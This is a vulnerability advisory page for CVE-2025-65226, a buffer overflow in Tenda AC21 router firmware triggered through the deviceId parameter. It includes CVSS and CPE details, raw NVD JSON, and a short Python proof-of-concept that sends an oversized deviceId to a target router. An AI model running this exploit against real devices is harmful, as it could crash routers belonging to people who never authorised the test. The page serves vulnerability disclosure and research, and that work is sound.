Security Vulnerability Report
中文
CVE-2025-65226 CVSS 4.3 MEDIUM

CVE-2025-65226

Published: 2025-11-20 15:17:41
Last Modified: 2025-11-21 17:24:54

Description

Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the deviceId parameter in /goform/saveParentControlInfo.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC21 V16.03.08.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65226 PoC - Tenda AC21 Buffer Overflow # Target: /goform/saveParentControlInfo # Parameter: deviceId def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit CVE-2025-65226 - Buffer Overflow in deviceId parameter This PoC demonstrates sending an oversized deviceId to trigger overflow """ url = f"http://{target_ip}:{target_port}/goform/saveParentControlInfo" # Generate payload with excessive length to trigger buffer overflow # Typical buffer size in embedded devices is 256-1024 bytes overflow_length = 2048 payload = "A" * overflow_length # Construct POST data with malicious deviceId parameter data = { "deviceId": payload, "deviceName": "test_device", "mac": "AA:BB:CC:DD:EE:FF" } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_buffer_overflow(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65226", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:40.577", "lastModified": "2025-11-21T17:24:54.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the deviceId parameter in /goform/saveParentControlInfo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:*", "matchCriteriaId": "089AC516-5475-4725-B348-832A00ED0CC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:*", "matchCriteriaId": "05B05222-6E83-487C-A083-CED82D803330"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN5.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}